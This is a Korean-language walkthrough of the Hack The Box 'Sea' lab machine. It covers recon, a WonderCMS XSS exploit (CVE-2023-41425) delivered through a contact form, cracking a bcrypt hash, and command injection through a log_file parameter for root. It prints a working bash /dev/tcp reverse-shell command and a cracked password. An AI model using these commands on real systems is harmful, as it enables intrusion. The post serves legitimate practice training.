Hack The Box - Sea

Hack the box Sea machine

By Hong

nmap

먼저 nmap을 실행해 포트를 확인한다.

nmap -sCV -Pn --min-rate 5000 -p- $IP -oN nmap_$IP

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-28 03:29 EDT
Nmap scan report for 10.10.11.28
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)                                       
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))                                                     
|_http-title: Sea - Home                                                                                
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                            
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ssh와 웹서버가 열려있는 것을 확인.

또 한가지는 httponly가 설정이 안되어있기 때문에 javascript로 xss가 가능할지도 모른다.

웹서버

먼저 웹서버를 살펴본다.

curl -I http://$IP

HTTP/1.0 200 OK
Date: Wed, 28 May 2025 00:34:04 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=kohdb5eel7ruasjkuqe071v1k9; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8

php를 사용하는 것을 확인.

웹페이지는 접속해보면 아래와 같다.

webpage

페이지를 둘러보다보면 How to participate부분에 contact의 링크를 찾을 수 있는데, 누르면 아래와 같은 폼이 나타난다.

contact

dns가 나오기 때문에 /etc/hosts 파일에 dns를 추가해준다.

여러가지 시도해봐도 폼에 별다른 취약점은 없는 듯 하다.

디렉토리를 찾아본다.

feroxbuster -u http://sea.htb/

301      GET        7l       20w      232c http://10.10.11.28/data => http://10.10.11.28/data/          301      GET        7l       20w      235c http://10.10.11.28/plugins => http://10.10.11.28/plugins/    301      GET        7l       20w      234c http://10.10.11.28/themes => http://10.10.11.28/themes/      301      GET        7l       20w      236c http://10.10.11.28/messages => http://10.10.11.28/messages/  301      GET        7l       20w      239c http://10.10.11.28/themes/bike => http://10.10.11.28/themes/bike/301      GET        7l       20w      243c http://10.10.11.28/themes/bike/css => http://10.10.11.28/themes/bike/css/200      GET        1l        1w        6c http://10.10.11.28/themes/bike/version                       200      GET       21l      168w     1067c http://10.10.11.28/themes/bike/LICENSE                       200      GET        1l        9w       66c http://10.10.11.28/themes/bike/summary                       [###########>--------] - 3m    125877/210018  3m      found:9       errors:3524         [####################] - 5m    210018/210018  0s      found:9       errors:5843   
[####################] - 4m     30000/30000   113/s   http://10.10.11.28/ 
[####################] - 5m     30000/30000   111/s   http://10.10.11.28/data/ 
[####################] - 4m     30000/30000   114/s   http://10.10.11.28/plugins/ 
[####################] - 4m     30000/30000   114/s   http://10.10.11.28/themes/ 
[####################] - 4m     30000/30000   114/s   http://10.10.11.28/messages/ 
[####################] - 4m     30000/30000   117/s   http://10.10.11.28/themes/bike/ 
[####################] - 4m     30000/30000   121/s   http://10.10.11.28/themes/bike/css/ 

/themes/bike부분에 여러가지가 검색됐다. /version을 확인해봤다.

version

3.2.0이라고 무언가의 버전이 적혀있다.

그 다음 /LICENSE를 살펴봤다.

license

turboblack이라는 유저가 나와서 구글에 검색해봤다.

wondercms

검색했더니 wonderCMS 라는 툴을 발견했다.

wonderCMS와 버전정보로 취약점이 있는지 검색했더니 아래와 같은 CVE가 있었다.

cve-2023-41425

poc를 다운로드 한 후 실행.

초기진입

poc를 실행하면 공격용 링크가 출력되는데 이걸 admin에게 보내라는 메세지가 나온다.

관리자가 클릭해 동작을 유도하는 xss 공격으로 보인다.

poc

이 링크를 어떻게 관리자가 클릭하게 해야하는지 도통 알 수가 없었다.

그러다 contact 폼에 website 링크를 적는 부분이 있었던 것을 기억해냈다.

xss

poc를 실행해서 출력된 링크를 website 부분에 입력하고 제출하고 좀 기다리면 리스닝하고 있던 포트로 리버스쉘이 연결됐다.

Lateral movement

www-data 유저로 연결되지만 권한이 없어 유저의 플래그를 확인할 수 없다.

파일들을 살펴보면 /var/www/sea/data/database.js 디렉토리에 패스워드의 해쉬가 저장되어있는 것을 발견.

"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q"

위의 값을 모드 3200으로 두고 크랙킹을 해봤으나 계속 실패했다.

hashcat -a 0 -m 3200 hash /usr/share/wordlist/rockyou.txt

좀 헤매다가 해쉬값을 다시보니 이스케이프 문자가 들어있었다! \

이스케이프 부문을 지우고 다시 크랙킹을 하니 비밀번호가 나왔다.

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance

이걸로 유저 amay로 접속, 플래그 획득.

권한상승

netstat -ntlp로 리스닝 중인 포트 확인.

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:45605         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

8080번 포트가 있는 것을 확인.

체크하기 위해 우선 포트 포워딩을 설정.

ssh -N -L localhost:8888:localhost:8080 amay@10.10.11.28

위의 설정으로 로컬 머신의 8888번 포트가 타겟 머신의 8080번 포트와 연결.

웹서버

웹서버에 접속하면 아래와 같은 페이지가 나온다.

sysmon

개발자모드에 놓고 리퀘스트를 보내보면 log_file 이라는 파라미터가 있는 걸 발견했다.

parameter

이 부분을 이용하기 위해 burpsuite로 리퀘스트를 수정.

커맨드 인젝션을 테스트해봤다.

burp

+는 띄어쓰기를 의미하고 burp에서 원하는 부분을 드래그 후 ctrl + u로 간단하게 url 인코딩 할 수 있다.

text

위와 같이 리퀘스트를 보내면 커맨드가 실행됐다는 걸 확인 할 수 있다.

리버스쉘 커맨드를 입력하고 리퀘스트를 보내면 root로 쉘이 연결된다.

이때 쉘이 불안정해서 자꾸 끊기는데, 아래와 같이 맨 처음과 맨 마지막에 nohup&를 추가하면 고쳐진다.

nohup bash -i >& /dev/tcp/10.10.14.8/9001 0>&1 &

Share: X (Twitter) Facebook LinkedIn